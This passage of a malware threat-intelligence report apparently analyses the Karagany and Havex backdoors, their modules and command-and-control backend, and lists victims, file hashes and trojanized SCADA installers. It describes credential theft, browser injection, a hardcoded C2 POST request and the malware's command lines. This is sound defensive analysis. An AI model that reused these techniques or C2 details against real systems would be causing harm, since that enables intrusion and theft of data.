5.5.11 CMD 64 TLP: Green For any inquire please contact intelreportskaspersky.com The CMD command is used to execute a command on the infected machine using cmd.exe 5.5.12 KEY The KEY command is used to update the Priv and Pub key in the registry.
5.6 Sleep and Loop again Once the commands have been executed, the debug message End work is displayed.
The malware then sleeps for a random amount of time and the main loop continues.
If the commands were executed, all results stored in the registry will be POSTED to the server via the AnsSend method.
The malware loops forever waiting for new orders from the attackers.
65 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com VI.
Appendix 6: Karagany backdoor  detailed analysis 1st stage samples SHA-256: 1b3cf050d626706d32c1c2c1cbd4975d519cfbdb9bca0f2e66b7e1120030b439 size:  538152 timestamp: Fri, 19 Jun 1992 22:22:17 UTC sources: hXXp://lafollettewines.com/blog/wp-includes/pomo/inden2i.php?dwlfne hXXp://kenzhebek.com/tiki/files/templates/listpages/inden2i.php?dwlfne dropped as:   dxpserver.exe, corensys.exe, wbemmonitor.exe detected as:  Trojan.
Win32.Benban.yc SHA-256: b1a3e67200a3837ecf45481885c2eca88f89509443a0bcec01b12aa737007a9b size:  248360 timestamp: Fri, 19 Jun 1992 22:22:17 UTC detected as: Trojan-Dropper.
Win32.Clons.aqwj SHA-256: fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915 size:  271400 timestamp: Fri, 19 Jun 1992 22:22:17 UTC source: www.nahoonservices.com/wp-content/plugins/rss-poster/juch.php dropped as: searchindexer.exe detected as:  Trojan-Dropper.
Win32.Clons.ampw SHA:  a553384eeadf4ad39e6c89bf16a146c01ebf627d042485844d75cd67b421afb8 size:  248360 timestamp: Fri, 19 Jun 1992 22:22:17 UTC signature: Trojan-Dropper.
Win32.Clons.apvc This backdoor comes packed with UPX and a custom Delphi packer.
The Delphi packer contains anti- debugging tricks and code especially crafted to overrun sandbox mechanisms.
The packer unpacks and executes the main binary in several stages, creating multiple separated processes and threads.
Code flow: Check OS version, install date, username and system metrics Check for event 51032_861222508099 66 TLP: Green For any inquire please contact intelreportskaspersky.com Copy self to APPDATA\mal_folder_name\mal_filename.exe, where mal_folder_name and file_name are chosen from the list of strings hardcoded in the binary Set attribs of the copied dropper to hidden  system Move the original dropper to dropper_patherr.logrand_nr Set file attributes to hidden  temporary Use MoveFileWithProgress to delete the original dropper on the next reboot Copy SYSTEMchkdsk.exe file to the path and filename of the original dropper Copy SYSTEMchkdsk.exe to APPDATA\mal_folder_name\mal_filename .exe  (with the space at the end) Create folder APPDATA\mal_folder_name\plugs Use COM objects (IShellLink IPersistFile interfaces) to create a link in the Startup folder Extract the credentials from Internet Explorers password manager and save them to mal_ folder_name\prx.jpg file keep monitoring the credentials in loop and updating the file Check if any browser process is running and if so, inject the DLL spying on the basic authentication credentials sent via HTTP traffic affected browsers include Internet Explorer, Firefox, Mozilla and Opera Check Internet connection by sending GET request to adobe.com/geo/productid.php and microsoft.com/en-us/default.aspx If Internet is working, initiate the communication with C2  (the IP address is hardcoded in the binary) by sending the following post request POST 93.188.161.235/check_value.php?identifiant51032_861222508099versionver4_2 Await commands If the C2 is not available, create an empty file: mal_folder_name\inact.api Create C:\ProgramData\Mail\MailAg\gl directory Create a thread that monitors this directory and sends the content of files found inside it to the C2 server the data is encrypted with a combination of XOR and other bitwise operations before sending List of backdoor commands: Cownexec Cownadminexec Updateme Deleteplugin Loadplugin Xdiex Xrebootx Xmonstart - start monitoring the  C:\ProgramData\Mail\MailAg\gl dir and send file content to the C2 Xmonstop - stop monitoring Xgetfile Xec2 - another routine to execute a binary 67 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Xfrost Killklg List of strings used as folder name and filename: Folder name File name Microsoft WCF services SearchIndexer Broker services ImeBroker Flash Utilities fsutil Media Center Programs PnPutil Policy Definitions BdeUISrv Microsoft Web Tools WinSAT Reference Assemblies pwNative Analysis Services SnippingTool InstallShield Information DFDWizard IIS SQL Server PrintBrmEngine Diagnostics WbemMonitor NTAPI Perfomance dxpserver WPF Platform PowerMng 2nd stage samples (modules) Screenshot module SHA-256: 05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53 Size:  823289 Timestamp: Fri, 07 Jun 2013 08:05:56 UTC Source: 91.203.6.71/check2/muees27jxt/scs.exe Detected as: Trojan-PSW/Karagany (Microsoft, Norman) This EXE copies the additional MZ from its overlay to C:\ProgramData\Cap\Cap.exe and runs this file using following command: 68 TLP: Green For any inquire please contact intelreportskaspersky.com C:\cmd.exe /c C:\ProgramData\Cap\Cap.exe /d C:\ProgramData\Mail\MailAg /f scs.jpg C:\ProgramData\Mail\MailAg\scs.txt Then it deletes the directory C:\ProgramData\Cap and all the files in it, deletes itself and exits.
It uses encrypted strings - XOR with progressively incremented value.
3rd stage 3rd party screenshot tool SHA256: 150ffd226b8a0d7cabe295b6ad3d256e5aa273a968b5b700b1a5bdbebf088fa7 Size:  696320 Timestamp: Fri, 16 Apr 2010 07:47:33 UTC Cap.exe is indeed the DuckLink CmdCapture tool - a 3rd party freeware AutoIt application (AutoIt version 3.3.6.1) for capturing the screenshots, available here http://www.ducklink.com/p/download/ This application is dropped by the scs.exe module and run using following command line parameters: /d C:\ProgramData\Mail\MailAg /f scs.jpg  C:\ProgramData\Mail\MailAg\scs.txt The /d parameter specifies the destination directory The /f parameter specifies the filename for the screenshot file.
Text output produced by application is redirected to the C:\ProgramData\Mail\MailAg\scs.txt file and contains information such as: Day and time of capture Computer name Username Cpu architecture Os version IP address Logon domain and logon server Desktop details (height, width, depth, refresh rate) Environmental variables Description of the DuckLink CmdCapture functionalities from the README file that comes with the application: This freeware program designed to capture images of the screen.
69 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Main Features: Full Screen Capture (display selection support).
Window Capture.
Selected area capture.
Save captured image in silent mode.
Open captured image in graphic editor.
Print captured image.
Put captured image to clipboard.
Upload captured image (to image hosting services).
Images format support: PNG GIF JPG - Quality can be set.
BMP - Format can be set.
Example of part of the content of the scs.txt file: HOUR: Hours value of clock in 24-hour format.
Range is 00 to 23 Sample Value: 23 MDAY: Current day of month.
Range is 01 to 31 Sample Value: 22 MIN: Minutes value of clock.
Range is 00 to 59 Sample Value: 19 MON: Current month.
Range is 01 to 12 Sample Value: 07 MSEC: Milliseconds value of clock.
Range is 00 to 999 Sample Value: 050 SEC: Seconds value of clock.
Range is 00 to 59 Sample Value: 52 WDAY: Numeric day of week.
Range is 1 to 7 which corresponds to Sunday through Saturday.
Sample Value: 3 YDAY: Current day of year.
Range is 001 to 366 (or 001 to 365 if not a leap year) Sample Value: 203 YEAR: Current four-digit year Sample Value: 2014 ComputerName: Computers network name.
Sample Value: WINXP ComSpec: value of comspec, the SPECified secondary COMmand interpreter primarily for 70 TLP: Green For any inquire please contact intelreportskaspersky.com command line uses, e.g.
Run(ComSpec   /k help  more) Sample Value: C:\WINDOWS\system32\cmd.exe CPUArch: Returns X86 when the CPU is a 32-bit CPU and X64 when the CPU is 64-bit.
Sample Value: X64 HomeShare: Server and share name containing current users home directory.
Sample Value: IPAddress1: IP address of first network adapter.
Tends to return 127.0.0.1 on some computers.
Sample Value: 192.168.56.11 IPAddress2: IP address of second network adapter.
Returns 0.0.0.0 if not applicable.
Sample Value: 0.0.0.0 IPAddress3: IP address of third network adapter.
Returns 0.0.0.0 if not applicable.
Sample Value: 0.0.0.0 IPAddress4: IP address of fourth network adapter.
Returns 0.0.0.0 if not applicable.
Sample Value: 0.0.0.0 LogonDNSDomain: Logon DNS Domain.
Sample Value: LogonDomain: Logon Domain.
Sample Value: WINXP --- snip --- File listing module SHA-256: 07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4 Size:  15872 Timestamp: Tue, 02 Jul 2013 12:41:47 UTC Source: 91.203.6.71/check2/muees27jxt/fl.exe Detected as: HEUR:Trojan.
Win32.Generic Module listing file.
Saves a list of documents that have specified extensions or contain specified strings in the file name to the C:\ ProgramData\Mail\MailAg\fls.txt file.
Saved information includes path, size and modification time.
File matching patterns: pass.
.rtf .xls .pdf secret.
.pst .doc .vmdk .pgp .p12 .mdb .tc 71 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com VII.
Appendix 7: CC Analysis The CC Backend is written in PHP, consisting of 3 files.
log.php is a Web-Shell, used for file level operations.
testlog.php is not a PHP-script but it contains the CC Server logfile of Backdoor-connections.
Please see source.php below for further information.
source.php The Backdoors interact with source.php, which is the control script.
Following the functions on execution: 1.
Collects the following Information: Information Syntax/content Used (written to log) Timestamp day-month-year hour:minute-second Yes IP-address checks and return valid IP-address from HTTP-Request (HTTP_CLIENT_ IP, HTTP_X_FORWARDED, HTTP_X_ iFORWARDED_FOR, REMOTE_ADDR) Yes Host reverse lookup of IP-address (gethostbyaddr) No Proxy Proxy-IP-address if Bot connected through Proxy No UserAgent UserAgent from HTTP-Request Yes Request-URI string of URI requested by Bot Yes BotID BotID transferred with HTTP-request Yes 2.
Writes the above information to testlog.php, separated by Tabulator and base64-encoded, with the following syntax: 72 TLP: Green For any inquire please contact intelreportskaspersky.com timestamp\tvictim ip-address\tproxy\tbotID\trequest-uri\tuseragent 3.
Writes all transferred HTTP-GET Variables to botID.log, separated by Tabulator and base64-encoded.
4.
If the bot executed an HTTP-POST-request, the transferred data is written to the file botID.
ans, enclosed in xdata-Tag with timestamp.
(
ans is the acronym for Answer) 5.
Checks for any file botID_.txt a.
If found the timestamp, filename and Status sent are first appended to botID.log.
Then the file content is transferred to the bot, embedded into HTML with HTML-Body No data and HTML-Comment Havex containing the data to be transferred.
Finally the file on the server will be removed.
If removal fails its logged to botID.log.
b.
If no matching file is found, a HTML-Response is sent with an empty Havex HTML- Comment and HTML-Body text Sorry, no data corresponding to your request.
73 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com VIII.
Appendix 8: Victim identification The page below shows a brief description of the identified victims including information about the company and the sector on which they operates.
A total of 101 victims have been identified.
Victim 1 Offers a complete range of manufacturing processes including precision injection molding, cleanroom molding and assembly, sheet metal fabrication, supply chain management and distribution.
Victim 2 Ukrainian wholesale suppliers for the pharmaceutical market.
Victim 3 General contracting, design build and construction management company based in Alabama.
Victim 4 Company performing web developing, hosting, consulting and content management.
Victim 5 University in Ukraine.
Victim 6 Develops larger machines for international manufacturers  Ireland.
Victim 7 School in Tennessee.
Victim 8 Special Purpose Machines.
Working in several sectors including the pharmaceutical, automotive, printing or plastic industry.
Victim 9 Corporation - Area of activity : Adult Internal Medicine, Infectious Disease, Pediatrics, OB/GYN, Dentistry, Psychology, Psychiatry, Social Services Victim 10 Faculty of Electrical Engineering, Mechanical Engineering and Naval Architecture.
74 TLP: Green For any inquire please contact intelreportskaspersky.com Victim 11 Distributor for construction machinery, energy systems and Caterpillar brand equipment.
Victim 12 One of Northern Irelands most respected and innovative construction companies.
Victim 13 Supplier of IT services and products.
Victim 14 Multi-trade company providing high quality electrical, HVAC, IT, across the country (US).
Victim 15 Area of activity: Packaging systems.
HQ in Switzerland.
Victim 16 Web development and hosting including ERP and commercial implementation and consulting services.
HQ: Chile Victim 17 Car dealer in Arizona Victim 18 IT Australia - provides systems to streamline management and governance processes.
Victim 19 Integrated online marketing agency.
Russia.
Victim 20 Design and manufacture of standard and custom leak test machines.
Victim 21 University in Spain.
Victim 22 Towing/hauling solutions to the commercial trucking industry.
Located coast to coast in the U.S., Canada, Europe, Australia and Mexico.
Victim 23 University in Poland.
75 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Victim 24 Areas of activity:  recycling, mining and food sorting.
Victim 25 Systems integrator located in North Carolina.
Specializes in the design and implementation of SCADA systems.
Victim 26 City council - Poland.
Victim 27 University in China.
Victim 28 Cleaning solutions.
Victim 29 Manufacturer of flexible packaging and advanced laminate design solutions.
Victim 30 Custom manufacturing of complex three-dimensional sheet metal parts.
Victim 31 Specializes in mechanical engineering.
Area of activity: Laminating-Machines , Used-Machinery.
Victim 32 Structural engineering field in every major market sector and construction type.
California.
Victim 33 Courier services worldwide.
Greece.
Victim 34 Institute of Physics.
Croatia Victim 35 Supplies public sector organizations with products and contracts.
UK.
Victim 36 University in Spain.
Victim 37 76 TLP: Green For any inquire please contact intelreportskaspersky.com University in Poland.
Victim 38 University in Poland.
Victim 39 Research  Education Network.
USA.
Victim 40 University in Germany.
Victim 41 American multinational technology and consulting corporation.
Victim 42 Creates and manages international private WANs for large multinational companies.
Victim 43 Informatics Centre in India.
Victim 42 Health authority in Canada.
Victim 43 County Government in USA.
Victim 44 University in USA.
Victim 45 American multinational conglomerate corporation.
Victim 46 Unit within University in USA.
Victim 47 Operates high speed computer network in Turkey.
Victim 48 University in Poland.
77 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Victim 49 Telecommunications and computing services.
USA.
Victim 50 American multinational document management corporation.
Victim 51 Major electronic systems company based in France acting in areas such as defense, aerospace, airline security and safety, information technology, and transportation Victim 52 Swiss multinational pharmaceutical company.
Victim 53 American manufacturing conglomerate involved in aircraft, the space industry, defense-oriented and commercial electronics, automotive and truck components.
Victim 54 Industrial suburb in India.
Victim 55 Information Technology company.
Iran.
Victim 56 University in China.
Victim 57 Global payments and technology company.
USA.
Victim 58 College in USA.
Victim 59 University in Germany.
Victim 60 University in UK.
Victim 61 78 TLP: Green For any inquire please contact intelreportskaspersky.com Supercomputing and Networking Center.
Poland.
Victim 62 University in Canada.
Victim 63 University in USA.
Victim 64 University in Spain.
Victim 65 Academic and Research Network.
Ukraine.
Victim 66 University in Canada.
Victim 67 Front, middle, and back office services for global financial markets.
Victim 68 Greek Public Administration Network Victim 69 University in the USA.
Victim 70 University in Russia.
Victim 71 Airport Authority in the USA.
Victim 72 Multinational manufacturer.
Germany.
Victim 73 Energy consumption analysis company.
Victim 74 University in the USA.
79 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Victim 75 University in Taiwan.
Victim 76 University in Japan.
Victim 77 University in Taiwan.
Victim 78 University in the USA.
Victim 79 University in the USA.
Victim 80 University in Sweden.
Victim 81 University in Poland.
Victim 82 Pharma industry.
Victim 83 Digital content for education and research in the UK.
Victim 84 University  weather research.
Victim 85 University in South Korea.
Victim 86 Construction management services.
Victim 87 Education and Research Network, China.
Victim 88 80 TLP: Green For any inquire please contact intelreportskaspersky.com Communications network for science and research, Germany.
Victim 89 University in the USA.
Victim 90 University in Spain.
Victim 91 University in South Korea.
Victim 92 Academic and Research Network, Croatia.
Victim 93 Encryption technology Institute.
Victim 94 University in the USA.
Victim 95 Chemical company, Germany.
Victim 96 School, USA.
Victim 97 University in Ukraine.
Victim 98 Liquefied natural gas, US energy demand.
Victim 99 University in Poland.
Victim 100 Academic and Research Network, Australia.
Victim 101 Space research institute, Russia.
81 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com IX.
Appendix 9: Hashes Havex, Sysmain, Ddex: 022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac 02e5191078497be1e6ea8bac93b6cfb9b3ee36a58e4f7dd343ac1762e7f9301e 066346170856972f6769705bc6ff4ad21e88d2658b4cacea6f94564f1856ed18 0850c39a7fcaa7091aaea333d33c71902b263935df5321edcd5089d10e4bbebb 0a0a5b68a8a7e4ed4b6d6881f57c6a9ac55b1a50097588e462fe8d3c486158bf 0c20ffcdf2492ccad2e53777a0885c579811f91c05d076ff160684082681fe68 0e34262813677090938983039ba9ff3ade0748a3aba25e28d19e2831c036b095 0ea750a8545252b73f08fe87db08376f789fe7e58a69f5017afa2806046380a5 0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255 13da3fe28302a8543dd527d9e09723caeed98006c3064c5ed7b059d6d7f36554 170e5eb004357dfce6b41de8637e1dbeb87fa58e8b54a2031aac33afb930f3c8 1d768ebfbdf97ad5282e7f85da089e174b1db760f1cbdca1a815e8e6245f155a 2221c2323fb6e30b9c10ee68d60b7d7be823911540bb115f75b2747d015e35f9 24be375f0e11d88210e53f15cc08d72ab6c6287676c3fe3c6f70b513e5f442ed 269ea4b883de65f235a04441144519cf6cac80ef666eccf073eedd5f9319be0f 2c109406998723885cf04c3ced7af8010665236459d6fe610e678065994154d4 2dc296eb532097ac1808df7a16f7740ef8771afda3ac339d144d710f9cefceb4 2efd5355651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdff023754 2f24c7ccbd7a9e830ed3f9b3b7be7856e0cc8c1580082433cbe9bf33c86193c6 2f593c22a8fd0de3bbb57d26320446a9c7eed755ae354957c260908c93d8cf79 3094ac9d2eeb17d4cda19542f816d15619b4c3fec52b87fdfcd923f4602d827b 31db22caf480c471205a7608545370c1b3c0c9be5285a9ef2264e856052b66b4 43608e60883304c1ea389c7bad244b86ff5ecf169c3b5bca517a6e7125325c7b 487eaf5cc52528b5f3bb27ba53afffb6d534068b364a41fc887b8c1e1485795a 49c1c5e8a71f488a7b560c6751752363389f6272d8c310fee78307dc9dcd3ee2 4f3ceab96fb55d0b05380a1d95bb494ca44d7a9d7f10ded02d5b6fc27c92cb05 4ff5f102f0f1284a189485fc4c387c977dd92f0bc6a30c4d837e864aed257129 56a1513bcf959d5df3ff01476ddb4b158ce533658ab7d8dd439324b16f193ac2 593849098bd288b7bed9646e877fa0448dcb25ef5b4482291fdf7123de867911 59c4cba96dbab5d8aa7779eac18b67b2e6f8b03066eb092415d50dff55e43b72 5a13d0c954280b4c65af409376de86ac43eb966f25b85973a20d330a34cdd9a6 60f86898506f0fdf6d997f31deff5b6200a6969b457511cc00446bd22dd1f0a4 6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980 82 TLP: Green For any inquire please contact intelreportskaspersky.com 61969cd978cd2de3a13a10510d0dea5d0d3b212209804563ed3d42033a9d0f54 6367cb0663c2898aff64440176b409c1389ca7834e752b350a87748bef3a878b 646c94a0194ca70fbe68c444a0c9b444e195280f9a0d19f12393421311653552 65a4332dfe474a8bb9b5fa35495aade453da7a03eb0049211e57b5660d08d75c 6606dd9a5d5182280c12d009a03b8ed6179872fcb08be9aa16f098250cc5b7a7 66ec58b4bdcb30d1889972c1ee30af7ff213deece335f798e57ff51fe28752e3 684ea2083f2f7099f0a611c81f26f30127ad297fcac8988cabb60fcf56979dfc 698ec413986dc7fc761b1a17624ffffb1590902020b9d0cd5d9a6013c67d9100 6e5f4296bffa7128b6e8fa72ad1924d2ff19b9d64775bd1e0a9ce9c5944bd419 6e92c2d298e25bcff17326f69882b636150d2a1af494ef8186565544f0d04d3d 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For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com c66525285707daff30fce5d79eb1bdf30519586dfec4edf73e4a0845fd3d0e1c c987f8433c663c9e8600a7016cdf63cd14590a019118c52238c24c39c9ec02ad cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111 cd019e717779e2d2b1f4c27f75e940b5f98d4ebb48de604a6cf2ab911220ae50 ce99e5f64f2d1e58454f23b4c1de33d71ee0b9fcd52c9eb69569f1c420332235 d3ee530abe41705a819ee9220aebb3ba01531e16df7cded050ba2cf051940e46 d588e789f0b5914bd6f127950c5daf6519c78b527b0ed7b323e42b0613f6566f d5e3122a263d3f66dcfa7c2fed25c2b8a3be725b2c934fa9d9ef4c5aefbc6cb9 d71da8a59f3e474c3bcd3f2f00fae0b235c4e01cd9f465180dd0ab19d6af5526 d755904743d48c31bdff791bfa440e79cfe1c3fc9458eb708cf8bb78f117dd07 da3c1a7b63a6a7cce0c9ef01cf95fd4a53ba913bab88a085c6b4b8e4ed40d916 dc612882987fab581155466810f87fd8f0f2da5c61ad8fc618cef903c9650fcd dc75404b6fc8cdb73258c2cc7bc758347ffb4237c8d18222f3489dc303daf989 e029db63346c513be42242e268559174f6b00d818e00d93c14bd443314f65fe5 e38aa99eff1f9fedd99cf541c3255e99f3276839a883cadb6e916649522729e3 e42badd8fb20f1bc72b1cec65c42a96ee60a4b52d19e8f5a7248afee03646ace e73f8b394e51348ef3b6cea7c5e5ecc2ee06bb395c5ac30f6babb091080c1e74 ecb097f3367f0155887dde9f891ff823ff54ddfe5217cdbb391ea5b10c5a08dc edb7caa3dce3543d65f29e047ea789a9e429e46bed5c29c4748e656285a08050 ee53e509d0f2a3c888232f2232b603463b421b9c08fe7f44ed4eead0643135d3 f1d6e8b07ac486469e09c876c3e267db2b2d651299c87557cbf4eafb861cf79c f65d767afd198039d044b17b96ebad54390549c6e18ead7e19e342d60b70a2c3 fb30c3bb1b25b3d4cca975f2e0c45b95f3eb57a765267271a9689dd526658b43 c43ce82560cea125f65c7701c733c61ae3faa782c8b00efcb44fd7dbd32a5c4b ebb16c9536e6387e7f6988448a3142d17ab695b2894624f33bd591ceb3e46633 61f4a9a30c9cce221624da208eac253c8ce95d55da4605b12774619b1a0d1587 913c21141966750cfe80d1f64f7c819ae59e401b47f0b5031fd2486c10403c91 87d1d820fd4faea5a48aa3a26d6b5d742b457bff6d291e03dce257d6861766f7 4c5c02fbd6f35cad2e0a6f15e769bc6d4413219ce059cc11be7589f5d54645ea 81e5e73452aa8b14f6c6371af2dccab720a32fadfc032b3c8d96f9cdaab9e9df 387d4ea82c51ecda162a3ffd68a3aca5a21a20a46dc08a0ebe51b03b7984abe9 0c9b20f4cb0b3206f81c2afbb2ee4d995c28f74f38216f7d35454af624af8876 45abd87da6a584ab2a66a06b40d3c84650f2a33f5f55c5c2630263bc17ec4139 e3a7fa8636d040c9c3a8c928137d24daa15fc6982c002c5dd8f1c552f11cbcad 6b2a438e0233fe8e7ba8774e2e5c59bf0b7c12679d52d6783a0010ecad11978c 69b555a37e919c3e6c24cfe183952cdb695255f9458b25d00d15e204d96c737b 101e70a5455212b40406fe70361995a3a346264eabd4029200356565d2bacd6a d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c 1ba99d553582cc6b6256276a35c2e996e83e11b39665523f0d798beb91392c90 31488f632f5f7d3ec0ea82eab1f9baba16826967c3a6fa141069ef5453b1eb95 84 TLP: Green For any inquire please contact intelreportskaspersky.com f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a 6296d95b49d795fa10ae6e9c4e4272ea4e1444105bddbf45b34ee067b2603b38 72ff91b3f36ccf07e3daf6709db441d2328cecab366fd5ff81fc70dd9eb45db8 a3a6f0dc5558eb93afa98434020a8642f7b29c41d35fa34809d6801d99d8c4f3 53d2a3324f276f29c749727c20708a3421a5144046ce14a8e025a8133316e0ac 1ef47da67f783f8cc8cda7481769647b754874c91e0c666f741611decd878c19 358da2c5bb5fbd9c9cf791536054bbb387ce37253c31555f5afa544f38de2a3f 3a88ff66f4eb675f0c3e6c5f947c012945c4e15b77a2cd195de8a8aba23ccb29 439e5617d57360f76f24daed3fe0b59f20fc9dade3008fd482260ba58b739a23 2c37e0504b98413e0308e44fd84f98e968f6f62399ea06bc38d3f314ee94b368 bb3529aa5312abbee0cfbd00f10c3f2786f452a2ca807f0acbd336602a13ac79 4cf75059f2655ca95b4eba11f1ce952d8e08bb4dbcb12905f6f37cf8145a538d 170596e88b26f04d349f6014d17a88026ec55eab44888e2a9bb4dd90a79f6878 59af70f71cdf933f117ab97d6f1c1bab82fd15dbe654ba1b27212d7bc20cec8c b8514bff04e8f4e77430202db61ec5c206d3ec0f087a65ee72c9bb94a058b685 778568b44e13751800bf66c17606dfdfe35bebbb94c8e6e2a2549c7482c33f7a 224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265 fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4 aef82593822a934b77b81ebc461c496c4610474727539b0b6e1499ca836f0dee fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4 d89a80a3fbb0a4a40157c6752bd978bc113b0c413e3f73eb922d4e424edeb8a7 Exploits: 1b12b5bfa6488f05680cc5aacdeda420b643713c88964b824913117cfbcd37e5 6b72d7aaccb2bf2f2cc08f8fab1c1a65beccd62d2f404d6c04806f3dc3c7ed3b 6cd18347407c78195e25adcc532eec0c2ef4e0940f8572909978404b7b9a4264 d1da07b851ae861da09a4ec4b4ab0b8b1bf44470f4266eaccacacb62e24f825b 3d4c9cad0830c653a06bc6a15739e5c938b83b7ee910895190acfc5bf879945a b7b70238c7463ea53e3f9d242e3a4dac94eae0e03545df5245a0fa4a62904e41 Modules: 004c99be0c355e1265b783aae557c198bcc92ee84ed49df70db927a726c842f3 6aca45bb78452cd78386b8fa78dbdf2dda7fba6cc06482251e2a6820849c9e82 7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849 0859cb511a12f285063ffa8cb2a5f9b0b3c6364f8192589a7247533fda7a878e f4bfca326d32ce9be509325947c7eaa4fb90a5f81b5abd7c1c76aabb1b48be22 2120c3a30870921ab5e03146a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850 9a2a8cb8a0f4c29a7c2c63ee58e55aada0a3895382abe7470de4822a4d868ee6 85 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com ClientX: 66ab3a26ffe5d9fb72083dc3153d0ddfbfb621cc34a299dd987049b479244480 Karagany: 05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53 07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4 1b3cf050d626706d32c1c2c1cbd4975d519cfbdb9bca0f2e66b7e1120030b439 fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915 a553384eeadf4ad39e6c89bf16a146c01ebf627d042485844d75cd67b421afb8 b1a3e67200a3837ecf45481885c2eca88f89509443a0bcec01b12aa737007a9b a97b5be3d24966ffbeaca15250477b434485f0b3a4c106c443855bbe60426df5 1cbe3c94e97d99e4e6a09cc6a790e1d26afc3d7cb89b90665a0de22680c6f8d7 86 TLP: Green For any inquire please contact intelreportskaspersky.com X.
Appendix 10: Delivery methods  detailed analysis 10.1.
Hijacked installers of legitimate software SwissRanger camera driver (sysmain dropper) A hijacked installer of libMesaSR used by the SwissRanger camera driver, produced by Acroname: http://www.acroname.com/ Files details: SHA-256: 398a69b8be2ea2b4a6ed23a55459e0469f657e6c7703871f63da63fb04cefe90 Size:  1311927 Compiled:  Sat, 28 May 2011 16:04:38 UTC Detected as:  Trojan.
Win32.Inject.hhwa Description: trojanized installer Path:  TEMP\tmp687.dll and APPDATA\sydmain.dll SHA-256:  a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599 Size:  133152 Compiled:  Wed, 12 Jun 2013 04:31:14 UTC Detected as: Trojan.
Win32.Inject.hhwa Description: Sysmain backdoor Path:  TEMP\setup.exe SHA-256:  7fa188fb3bfecbd0fbbb05cfa4a3078ac44f68c63b784b20046e470613e35f96 Size:  1181500 Compiled:  Sat, 05 Dec 2009 22:50:52 UTC Description: original installer, version 1.0.14.706 Registry modification: [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] load  C:\WINDOWS\system32\rundll32.exe c:\documents and settings\luser\application 87 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com data\sydmain.dll,AGTwLoad eWon software (Havex dropper) A hijacked installer of eCatcher -  a piece of legitimate software developed by a Belgian producer of SCADA and industrial network equipment: http://www.ewon.be/en/home.html Files details: SHA-256: 70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9 Size:  43971440 Compiled: Sat, 31 Mar 2007 15:09:46 UTC Detected as: (not detected yet) Description: trojanized installer Url:  hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe Path:  TEMP\TmProvider.dll and SYSTEM\TMPProvider.dll SHA-256: 401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67 Size:  327168 Compiled: Mon, 30 Dec 2013 12:53:48 UTC Description: Havex version 038 Path:  TEMP\eCatcherSetup.exe SHA-256: c7caa7fa2a23508b0a024a6a4b2dcaad34ab11ea42dffc3a452901c007cdfc34 Size:  43785864 Compiled: Fri, 19 Jun 1992 22:22:17 UTC Description: original installer, version  4.0.0.13073 Path:  TEMP\qln.dbx Size:  2 Description: text file with Havex version number Registry modification: [HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run] TmProvider  rundll32 SYSTEM\TMPprovider038.dll, RunDllEntry [HKLM\Software\Microsoft\Internet Explorer\InternetRegistry] 88 TLP: Green For any inquire please contact intelreportskaspersky.com fertger  269684507736283195770098FD80-25 mbCheck software (Havex dropper) A hijacked installer of legitimate software for the remote maintenance of PLC systems - mbCHECK produced by MB Connect Line GmbH: http://www.mbconnectline.com/index.php/en/ Files details: SHA-256: 0b74282d9c03affb25bbecf28d5155c582e246f0ce21be27b75504f1779707f5 Size:   1141478 Compiled:  Sun, 14 Jul 2013 20:09:51 UTC) Detected as: Trojan-Dropper.
